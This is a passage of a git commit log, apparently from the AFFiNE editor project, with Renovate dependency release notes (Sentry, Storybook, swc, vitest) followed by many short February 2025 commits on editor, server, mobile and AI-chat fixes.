### [`v0.57.2`](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/cbc912d67bda462ca00449d7ce7b80052c20a4fc...ac8641a5dbb5df1169bd5ed25a6667a6a6f730ca)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/cbc912d67bda462ca00449d7ce7b80052c20a4fc...ac8641a5dbb5df1169bd5ed25a6667a6a6f730ca)

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.55.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.55.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.54.0...8.55.0)

##### Important Changes

-   **chore(ci/v8): Switch lambda layer name to `SentryNodeServerlessSDKv8` ([#&#8203;15351](https://redirect.github.com/getsentry/sentry-javascript/pull/15351))**

The `SentryNodeServerlessSDK` AWS Lambda Layer will stop receiving updates.
If you intend to stay on `v8` and receive updates use `SentryNodeServerlessSDKv8` instead.

##### Other Changes

-   feat(flags/v8): add Statsig browser integration ([#&#8203;15347](https://redirect.github.com/getsentry/sentry-javascript/pull/15347))
-   feat(v8/node): Add missing `vercelAIIntegration` export ([#&#8203;15339](https://redirect.github.com/getsentry/sentry-javascript/pull/15339))
-   feat(v8/nuxt): Add `enabled` to disable Sentry module ([#&#8203;15337](https://redirect.github.com/getsentry/sentry-javascript/pull/15337)) ([#&#8203;15381](https://redirect.github.com/getsentry/sentry-javascript/issues/15381))
-   feat(v8/vue): Support Pinia v3 ([#&#8203;15384](https://redirect.github.com/getsentry/sentry-javascript/pull/15384))
-   fix(astro): Add vue to `registerEsmLoaderHooks` ([#&#8203;15352](https://redirect.github.com/getsentry/sentry-javascript/pull/15352))
-   fix(react/v8): Support lazy-loaded routes and components ([#&#8203;15281](https://redirect.github.com/getsentry/sentry-javascript/pull/15281))
-   fix(v8/nuxt): Detect Azure Function runtime for flushing with timeout ([#&#8203;15297](https://redirect.github.com/getsentry/sentry-javascript/pull/15297))
-   fix(v8/solidstart): Do not copy release-injection map file ([#&#8203;15304](https://redirect.github.com/getsentry/sentry-javascript/pull/15304))
-   fix(v8/svelte): Guard component tracking `beforeUpdate` call ([#&#8203;15262](https://redirect.github.com/getsentry/sentry-javascript/pull/15262))

Work in this release was contributed by [@&#8203;aryanvdesh](https://redirect.github.com/aryanvdesh). Thank you for your contribution!

##### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.3 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 23.17 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.9 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.27 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 66.71 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.57 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.51 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.91 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.71 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.98 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.71 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.58 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.75 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.46 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.6 KB   |
| CDN Bundle (incl. Tracing, Replay)                               | 72.9 KB   |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.23 KB  |
| CDN Bundle - uncompressed                                        | 71.92 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.52 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.78 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.88 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.96 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.4 KB   |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.85 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 99.14 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 131.23 KB |

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#856)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.5...v8.5.6)

-   Builder-Vite: Fix defaulting to allowing all hosts - [#&#8203;30523](https://redirect.github.com/storybookjs/storybook/pull/30523), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   UI: Fix tags sort for browser back-compat - [#&#8203;30547](https://redirect.github.com/storybookjs/storybook/pull/30547), thanks [@&#8203;shilman](https://redirect.github.com/shilman)!

### [`v8.5.5`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#855)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.4...v8.5.5)

-   Builder-Vite: Fix Turbosnap - [#&#8203;30522](https://redirect.github.com/storybookjs/storybook/pull/30522), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.17`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11017---2025-02-18)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.16...v1.10.17)

##### Bug Fixes

-   **(deps)** Update cargo (patch) ([#&#8203;10021](https://redirect.github.com/swc-project/swc/issues/10021)) ([ffb7734](https://redirect.github.com/swc-project/swc/commit/ffb77342d977722c6afa93ac5c8959e2152ea11c))

-   **(typescript)** Improve type inferring for undefined and null ([#&#8203;10038](https://redirect.github.com/swc-project/swc/issues/10038)) ([5059ece](https://redirect.github.com/swc-project/swc/commit/5059ece95a2bf941779213e34dd18997d16a7140))

-   **(typescript)** Remove the usages of private members ([#&#8203;10037](https://redirect.github.com/swc-project/swc/issues/10037)) ([8410b59](https://redirect.github.com/swc-project/swc/commit/8410b596218bfea290751ed40e29fcea8626d0dc))

##### Performance

-   **(hstr)** Use thin arc for hash and length ([#&#8203;10033](https://redirect.github.com/swc-project/swc/issues/10033)) ([2bea793](https://redirect.github.com/swc-project/swc/commit/2bea793bf39c53a5c36b8ccdd274ca93bf1ff1ed))

-   **(hstr)** Skip interning if the text is long enough ([#&#8203;10035](https://redirect.github.com/swc-project/swc/issues/10035)) ([2622e4e](https://redirect.github.com/swc-project/swc/commit/2622e4e1d0263a6a10b6cd47cba3f4e50d697c32))

##### Testing

-   **(hstr)** Add tests ([#&#8203;10043](https://redirect.github.com/swc-project/swc/issues/10043)) ([32b58f0](https://redirect.github.com/swc-project/swc/commit/32b58f0b21bba8c32ea21d3c03d068c7fe260669))

-   **(ts/fast-strip)** Add tests for `declare module` error cases ([#&#8203;10040](https://redirect.github.com/swc-project/swc/issues/10040)) ([37672e0](https://redirect.github.com/swc-project/swc/commit/37672e024e340b1509f4d8f70414bc132a8337bf))

### [`v1.10.16`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11016---2025-02-13)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.15...v1.10.16)

##### Bug Fixes

-   **(es/minifier)** Check assign target before merge assign cond ([#&#8203;10020](https://redirect.github.com/swc-project/swc/issues/10020)) ([6dab49a](https://redirect.github.com/swc-project/swc/commit/6dab49a07c5f0853fd6200a7ee153e66a7b8dcdc))

-   **(es/parser)** Preserve comment positions with leading semicolon ([#&#8203;10019](https://redirect.github.com/swc-project/swc/issues/10019)) ([c9937b6](https://redirect.github.com/swc-project/swc/commit/c9937b65bfdaeb2ad9b8fe72943053ac5fe767c5))

-   **(swc_common)** Fix panic with non-narrow chars with width != 2 ([#&#8203;10011](https://redirect.github.com/swc-project/swc/issues/10011)) ([f9f4cac](https://redirect.github.com/swc-project/swc/commit/f9f4cac0e5ae586f0d3cbd3c8f4db8f79ff67e17))

-   **(ts/fast-strip)** Handle unsupported `module` keyword ([#&#8203;10022](https://redirect.github.com/swc-project/swc/issues/10022)) ([308f5d0](https://redirect.github.com/swc-project/swc/commit/308f5d03c735649ec81d73ec6b785cd68345a04c))

##### Performance

-   **(es/codegen)** Reduce allocation using `compact_str` ([#&#8203;10008](https://redirect.github.com/swc-project/swc/issues/10008)) ([7d7319f](https://redirect.github.com/swc-project/swc/commit/7d7319f248afe10f33da2a7201c1a90ec58a441c))

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.6`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.6)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.5...v3.0.6)

#####    🐞 Bug Fixes

-   Fix `getMockedSystemTime` for `useFakeTimer`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7405](https://redirect.github.com/vitest-dev/vitest/issues/7405) [<samp>(03912)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/03912b43)
-   Compat for jest-image-snapshot  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7390](https://redirect.github.com/vitest-dev/vitest/issues/7390) [<samp>(9542b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9542b699)
-   Ensure project names are readable in dark terminals  -  by [@&#8203;rgrove](https://redirect.github.com/rgrove) in [https://github.com/vitest-dev/vitest/issues/7371](https://redirect.github.com/vitest-dev/vitest/issues/7371) [<samp>(bb94c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bb94c19f)
-   Exclude `queueMicrotask` from default fake timers to not break node fetch  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7505](https://redirect.github.com/vitest-dev/vitest/issues/7505) [<samp>(167a9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/167a98d7)
-   **browser**:
    -   Fix mocking modules out of root  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7415](https://redirect.github.com/vitest-dev/vitest/issues/7415) [<samp>(d3acb)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d3acbd8b)
    -   Fix `toHaveClass` typing  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7383](https://redirect.github.com/vitest-dev/vitest/issues/7383) [<samp>(7ef23)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7ef238c0)
    -   Relax locator selectors methods  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7422](https://redirect.github.com/vitest-dev/vitest/issues/7422) [<samp>(1b8c5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1b8c5c9e)
    -   Resolve thread count from `maxWorkers`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7483](https://redirect.github.com/vitest-dev/vitest/issues/7483) [<samp>(adbb2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/adbb25ab)
    -   Cleanup timeout on resolve and give more information in the error  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7487](https://redirect.github.com/vitest-dev/vitest/issues/7487) [<samp>(5a45a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5a45a7ca)
-   **coverage**:
    -   `vite-node` to pass correct execution wrapper offset  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7417](https://redirect.github.com/vitest-dev/vitest/issues/7417) [<samp>(1f2e5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1f2e5552)
    -   Preserve moduleExecutionInfo in non-isolated runs  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7486](https://redirect.github.com/vitest-dev/vitest/issues/7486) [<samp>(f31a0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f31a07bb)
-   **deps**:
    -   Update all non-major dependencies  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)
2025-02-18 15:14:03 +00:00
Saul-Mirone 2f04e3180c refactor: move utils and cleanup test helpers (#10261) 2025-02-18 14:03:51 +00:00
Saul-Mirone faf6e2c79f refactor(editor): optimize store map (#10246) 2025-02-18 13:30:09 +00:00
donteatfriedrice 15e9acefc2 fix(editor): paste when select multiple block texts (#10227)
[BS-2512](https://linear.app/affine-design/issue/BS-2512/选中多段粘贴,多段只有第一段会被replace,这个bug还在)
2025-02-18 12:13:55 +00:00
darkskygit 176e0a1950 fix: raw body limit (#10254) 2025-02-18 11:34:58 +00:00
liuyi 4c7eedb920 fix(server): body parser limit (#10260) 2025-02-18 10:48:29 +00:00
doouding c21f71f58c feat: add dnd database preview block (#10258) 2025-02-18 10:25:00 +00:00
doouding 75678ceca8 fix: allow to drop inside the note block in edgeless mode (#10255) 2025-02-18 10:24:59 +00:00
forehalo cd00f06b77 chore(core): track otp usage (#10248)
close AF-2235
2025-02-18 10:10:27 +00:00
pengx17 cb15d48b82 chore(core): more setting telemetry events (#10194) 2025-02-18 09:55:00 +00:00
pengx17 78346be4fe fix(electron): update settings styles (#10193) 2025-02-18 09:54:59 +00:00
Flrande 13834dd09a fix(editor): display heading icon all time (#10256) 2025-02-18 09:39:26 +00:00
L-Sun 4e546c78ef chore(core): remove template doc feature flag (#10252) 2025-02-18 09:25:06 +00:00
L-Sun e639f08b71 chore(editor): remove page block feature flag (#10251) 2025-02-18 09:25:05 +00:00
Flrande cedee0a1b2 fix(editor): split at the start of list with children (#10244) 2025-02-18 09:10:00 +00:00
pengx17 0ed8b4f46a fix(core): center peek button bg color (#10225)
fix AF-2026
2025-02-18 08:55:49 +00:00
doouding 88095a87a8 fix: create linked-doc block when content can't be drop as gfx block (#10250) 2025-02-18 08:40:57 +00:00
Aki Chang 3f4b7ec51e feat(android): integrate web api & native AI chat button (#10239) 2025-02-18 16:23:25 +08:00
EYHN 892fd16f52 fix(core): fix ios cloud sync (#10243) 2025-02-18 08:12:49 +00:00
doouding 73f3226f58 fix: drag paragraph block from note to edgeless (#10242) 2025-02-18 07:30:00 +00:00
doouding 0af921c3fc fix: edgeless drag handle position (#10241) 2025-02-18 07:29:59 +00:00
forehalo 51e842000a fix(server): pagination input parser (#10245) 2025-02-18 07:15:51 +00:00
forehalo da67c78152 feat(server): use job system (#10218) 2025-02-18 05:41:57 +00:00
forehalo cb895d4cb0 feat(server): job system (#10134) 2025-02-18 05:41:57 +00:00
CatsJuice f6a86c10fe fix(editor): edgeless toolbar basket not visible in firefox (#10232) 2025-02-18 04:52:52 +00:00
Saul-Mirone c3e924d4cb refactor(editor): move export manager to surface block extensions (#10231) 2025-02-18 04:39:05 +00:00
forehalo 31f8e92a4b test(server): fix flaky cache tests (#10238) 2025-02-18 04:25:23 +00:00
donteatfriedrice e67fd67a3c fix(core): copy more button group style (#10240) 2025-02-18 04:07:59 +00:00
forehalo a303455ded fix(server): default workspace avatar size (#10229) 2025-02-18 03:53:59 +00:00
forehalo fdddaf651f chore(core): adjust selfhost sign in ui (#10226)
close AF-2227
2025-02-18 03:38:01 +00:00
fengmk2 bae1a7f2ac fix(server): log error on gcloud (#10235) 2025-02-18 03:21:31 +00:00
akumatus b2654ffec7 feat(core): add 100k tokens limit for the docs context (#10211)
Support issue [BS-2352](https://linear.app/affine-design/issue/BS-2352).

![截屏2025-02-16 21.32.16.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/813b2f67-918b-4c61-ba2e-b5066792a4fd.png)
2025-02-18 02:33:50 +00:00
akumatus 015452e8fb fix(core): unable to explain image when network search is active (#10228)
Fix issue [PD-2316](https://linear.app/affine-design/issue/PD-2316).
2025-02-18 02:20:21 +00:00
doouding eed00e0b26 fix: mindmap ai preview (#10222) 2025-02-17 12:45:20 +00:00
Flrande 5748591bc5 fix(editor): width and height of embed block (#10223) 2025-02-17 10:37:05 +00:00
zzj3720 e4f2223a2a fix(editor): table block readonly support (#10224)
close: BS-2597
2025-02-17 10:19:00 +00:00
JimmFly 29d8824479 fix(core): handle unexpected hits to paywalls (#10215)
close AF-2232

fix(core): handle unexpected hits to paywalls

chore: remove sent email action
2025-02-17 08:04:33 +00:00
fundon 6dc1fefa33 fix(editor): video style in edgeless (#10198)
### Before

![Screenshot 2025-02-14 at 17.51.29.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/202ce9f9-3dc9-4063-aab9-68a22d5ee5ff.png)

### After

![Screenshot 2025-02-14 at 17.51.46.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/47fd729b-cad3-4ea1-8f9e-eefbc2652f88.png)
2025-02-17 06:50:02 +00:00
CatsJuice f369a8dca0 feat(core): add link to template tutorial (#10189) 2025-02-17 06:34:59 +00:00
fengmk2 57213781a8 refactor(server): dont convert graphql bad request into internal server error (#10203) 2025-02-17 06:17:00 +00:00
fundon 34472fdfa9 fix(editor): make std stable in affine-link and affine-reference (#10207) 2025-02-17 05:09:53 +00:00
aki-chang-dev 642559df4b fix(android): edge to edge compatibility for capacitor7 (#10191) 2025-02-17 04:42:02 +00:00
fundon 378007da81 chore(editor): no need to cache attachment embed config map (#10197)
### What's Changed!

* no need to cache attachment embed config map
2025-02-17 04:21:00 +00:00
donteatfriedrice 594224e3b4 feat(editor): support to copy in preview root block (#10214)
[BS-2590](https://linear.app/affine-design/issue/BS-2590/ai-chat-panel-的-copy-code-不-work-了) [BS-2550](https://linear.app/affine-design/issue/BS-2550/chat-panel-内的内容复制粘贴到-affine-编辑器时-时没办法保留格式)
2025-02-17 04:07:10 +00:00
EYHN 691daaa7e8 fix(core): fix the permission check in peek view (#10213) 2025-02-17 03:51:54 +00:00
akumatus 9418a89ae9 feat(core): auto collapse ai chips (#10209)
Support issue [BS-2545](https://linear.app/affine-design/issue/BS-2545).

Automatically collapse the AI chips when starting a new chat.

![截屏2025-02-16 19.07.05.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/eac6f760-3b07-410d-863c-9f15c99df58a.png)
2025-02-17 03:38:07 +00:00
L-Sun 85e413f8c8 chore(editor): add telemetry track to display mode of note (#10192)
Close [BS-2468](https://linear.app/affine-design/issue/BS-2468/analytics-for-page-block-polish)
2025-02-17 03:23:55 +00:00
doodlewind 1476ca922b refactor(editor): simplify worker renderer message and canvas transfer (#10199)
- Fixed frame delay on panning.
- Removed redundant worker message.
- Removed redundant offscreen bitmap transfer.
- Refactored logic using a clearer `refresh` method entry.
- Extracted plain utils.
2025-02-17 02:35:28 +00:00
CatsJuice 04cb303535 fix(core): prevent text wrapping in starter bar badge (#10157) 2025-02-16 08:31:11 +00:00
CatsJuice b5ba17c464 chore(core): disallow closing auth modal for clicking outside and escape (#10156) 2025-02-16 08:14:12 +00:00
doouding 8ece812017 feat: dnd image preview && edgeless dnd preview issue (#10177)
### Changed
- Add new image block to render dnd preview
- Fixed the bug that dragging uploaded image does not have width and height
- Fixed the bug that drag image block from page to edgeless does not have width and height
- Better edgeless dnd preview
2025-02-14 16:02:03 +00:00
akumatus 631c8b8145 refactor(core): lazy create copilot session and context (#10170) 2025-02-14 14:48:46 +00:00
donteatfriedrice 5a42edf076 fix(core): copy more button style (#10196)
[AF-2228](https://linear.app/affine-design/issue/AF-2228/ui-bug-retry-和-copy-的按钮颜色不一致)
2025-02-14 13:22:27 +00:00
donteatfriedrice e6b570e613 feat(core): support network search in chat block center peek (#10186)
[BS-2582](https://linear.app/affine-design/issue/BS-2582/chat-block-center-peek-支持-network-search)
2025-02-14 12:43:31 +00:00
zzj3720 b6f8027e1b fix(editor): extra line breaks and spaces when parsing table from html (#10190)
close: BS-2562, BS-2569
2025-02-14 12:13:00 +00:00
L-Sun 35aec95022 chore(editor): adjust margin of edgeless page block title (#10188)
![CleanShot 2025-02-14 at 16.01.33@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/27b561ef-1363-4e9c-97ee-6cd83aa98fdd.png)

![CleanShot 2025-02-14 at 16.01.48@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/6751c51b-58bb-4d33-bf34-b4df5c992dce.png)
2025-02-14 11:44:00 +00:00
forehalo 3dde47dd08 fix(server): event handler bindings (#10165) 2025-02-14 11:29:03 +00:00
darkskygit 42e0563d2e feat: filter out session create request for root doc (#10187) 2025-02-14 11:14:57 +00:00
Saul-Mirone d111f8ac88 feat(editor): add WidgetViewExtension (#10180)
Closes: [BS-2282](https://linear.app/affine-design/issue/BS-2282/replace-widgetviewmapextension-with-widgetextension)
2025-02-14 11:00:01 +00:00
Flrande 9dc81ecb99 fix(editor): increase edgeless text init min width (#10051) 2025-02-14 10:46:00 +00:00
JimmFly 9048b38069 fix(core): adjust share menu (#10164)
close AF-2218 AF-2215 AF-2221
2025-02-14 10:32:12 +00:00
JimmFly 36800f2d24 fix(core): adjust the redirection path for retrying payments when self-hosting (#10181) 2025-02-14 10:18:00 +00:00
forehalo cc6fdef10e chore(electron): remove offline mode (#10152)
close AF-2177
2025-02-14 10:04:01 +00:00
darkskygit 981b4efecf feat(server): worker improve (#10176)
fix AF-2225
2025-02-14 09:47:57 +00:00
akumatus 1bf1832211 refactor(core): get copilot sessions api (#10168)
Fix issue [BS-2575](https://linear.app/affine-design/issue/BS-2575).

### What Changed?
- Refactor `getCopilotSessions` api.
  - Add `docId` parameter.
  - Add `action` parameter.
2025-02-14 06:57:58 +00:00
pengx17 f20e3f6d8f feat(electron): show a warning for drop folder to split view (#10178)
fix PD-2310

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/811df8d5-f424-4135-ad90-30135b299f12.png)
2025-02-14 06:42:56 +00:00
Flrande 537012e7df fix(editor): edgeless mindmap text button layer inder (#10179) 2025-02-14 05:18:57 +00:00
L-Sun 9d08f446cc refactor(editor): remove redundant edgeless icons (#10169)
Continue [BS-2240](https://linear.app/affine-design/issue/BS-2240/%E6%B8%85%E7%90%86%E9%87%8D%E5%A4%8D%E7%9A%84icon)

This PR removes `icons/edgeless.ts` and refactor with `@blocksuite/icons` for reducing redundant icons
2025-02-14 05:03:26 +00:00
pengx17 1f6ac4b1fe feat(electron): split view drag indicator bg (#10175)
fix PD-2309
2025-02-14 03:43:54 +00:00
forehalo dcc9c9a7ec fix(server): should fallback to doc role permission if not specified (#10166) 2025-02-14 03:00:56 +00:00
Oleg b82fc3bc10 feat(core): attach a pdf (#10039)
Co-authored-by: L-Sun <zover.v@gmail.com>
2025-02-14 10:22:32 +08:00
Alexey Lysenko 769547c2d5 fix(editor): support more divider markdown shortcut (#10139) 2025-02-14 10:13:40 +08:00
Flrande 4e488a1ba1 fix(editor): figma block ui issues (#10167) 2025-02-13 13:56:18 +00:00
L-Sun 3ada4bee0d chore(editor): adjust min width of edgeless note (#10153)
Close [BS-2499](https://linear.app/affine-design/issue/BS-2499/所有notes最小宽度调整为218px)

### What changes
- adjusted min width of edgeless note
  - placeholder show ellipsis in min edgeless note
- refactored somes button of `change-note-button.ts` with `isPageBlock`
2025-02-13 12:40:14 +00:00
Brooooooklyn 96bde3ceaf chore(server): enhance log context and messages (#10151) 2025-02-13 12:24:12 +00:00
akumatus 79d5f55471 feat(core): move context docs to user prompt (#10162)
Fix issue [BS-2522](https://linear.app/affine-design/issue/BS-2522).

### Why make this change?
If the user data contains illegal content, carrying the user data in the system prompt will run the risk of having the account banned.

### What Changed?
- Move the `Context Documents` to the user prompt.
- Add `withPrompt` in `QueryChatHistoriesInput` options.
- Get chat histories without prompt messages.
- Omit document context when saving messages to the `aiSessionMessage` db.
2025-02-13 12:08:13 +00:00
fengmk2 3ff721abe8 refactor(server): auto print full stack on logger.error (#10161) 2025-02-13 11:49:41 +00:00
darkskygit 899b1d60e0 feat: better error handle for sse endpoint (#10155)
fix CLOUD-123
2025-02-13 10:10:13 +00:00
L-Sun a7de6edfef fix(editor): overflow of dragging preview of note card in ToC (#10160)
Close [BS-2503](https://linear.app/affine-design/issue/BS-2503/长note拖拽时会带着右侧边栏标题一起移动)
2025-02-13 09:55:11 +00:00
donteatfriedrice 40c6e42ab8 fix(core): edgeless text ai action should generate image correctly (#10158)
[BS-2570](https://linear.app/affine-design/issue/BS-2570/edgeless-text-没有被正确的作为上下文放入-app)
2025-02-13 09:38:13 +00:00
CatsJuice 887bbcf641 chore(core): add feature flag for ios AI button (#10150)
close AF-2209, AF-2104
2025-02-13 09:10:14 +00:00
CatsJuice 7c04ef4f4e fix(component): loading in button should be white for primary variant (#10073)
close AF-2178
2025-02-13 08:55:11 +00:00
Brooooooklyn 312f9b1ecd ci: split server tests (#10141) 2025-02-13 08:40:10 +00:00
forehalo ab538ef9bb fix(server): selfhost subscription customer portal creation (#10149) 2025-02-13 08:23:28 +00:00
JimmFly ea95ff39c5 fix(core): show self hosted license seats (#10146) 2025-02-13 07:58:10 +00:00
forehalo 3f97203623 fix(server): wrong affine pro endpoint (#10144) 2025-02-13 07:41:08 +00:00
aki-chang-dev 31ca8f25b6 fix(android): fix status bar style (#10147) 2025-02-13 07:14:11 +00:00
akumatus 35cbbb3c4b fix(core): ai context gql file (#10145) 2025-02-13 06:57:12 +00:00
CatsJuice 39182b5fc6 fix(core): do not show starter bar for doc in history modal (#10107) 2025-02-13 06:15:09 +00:00
CatsJuice d3e0cd1369 chore(core): use fadeBottom animation for center peek (#10072)
close AF-2184, AF-2186

![CleanShot 2025-02-11 at 09.31.39.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/81ed6601-33ff-4eee-bb35-636a2a27cd85.gif)
2025-02-13 05:58:10 +00:00
CatsJuice 473f8bd167 feat(core): hide starter-bar for template (#10112) 2025-02-13 05:41:11 +00:00
CatsJuice 85addad18f feat(core): persist right-sidebar open state and resize width (#10120) 2025-02-13 05:25:09 +00:00
Saul-Mirone 9321ce94a7 refactor(editor): remove global types in config (#10143)
Closes: [BS-2554](https://linear.app/affine-design/issue/BS-2554/remove-global-types-in-block-config)
2025-02-13 04:35:35 +00:00
L-Sun dbf1d0038a fix(edtiro): hide toc drag indicator on edgeless note (#10135)
Close [BS-2497](https://linear.app/affine-design/issue/BS-2497/隐藏edgeless-only的toc的dnd-indicator)
2025-02-13 04:18:12 +00:00
L-Sun 011c18de8b fix(editor): hide collpased content during dragging note (#10133)
Close [BS-2531](https://linear.app/affine-design/issue/BS-2531/%E6%8B%96%E5%8A%A8%E6%8A%98%E5%8F%A0%E7%9A%84note%E6%97%B6%EF%BC%8C%E4%B8%8D%E6%98%BE%E7%A4%BA%E9%9A%90%E8%97%8F%E5%86%85%E5%AE%B9), [BS-2536](https://linear.app/affine-design/issue/BS-2536/page-block%E9%A1%B6%E9%83%A8toolbar)
2025-02-13 04:18:11 +00:00
Brooooooklyn 01b9aa91b2 chore(server): migrate depracated opentelemetry usage (#10140) 2025-02-13 04:02:07 +00:00
renovate c4565b57ec chore: bump up vite-plugin-istanbul version to v7 (#10106)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite-plugin-istanbul](https://redirect.github.com/ifaxity/vite-plugin-istanbul) | [`^6.0.2` -> `^7.0.0`](https://renovatebot.com/diffs/npm/vite-plugin-istanbul/6.0.2/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite-plugin-istanbul/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite-plugin-istanbul/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite-plugin-istanbul/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite-plugin-istanbul/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ifaxity/vite-plugin-istanbul (vite-plugin-istanbul)</summary>

### [`v7.0.0`](https://redirect.github.com/iFaxity/vite-plugin-istanbul/releases/tag/v7.0.0)

[Compare Source](https://redirect.github.com/ifaxity/vite-plugin-istanbul/compare/v6.0.2...v7.0.0)

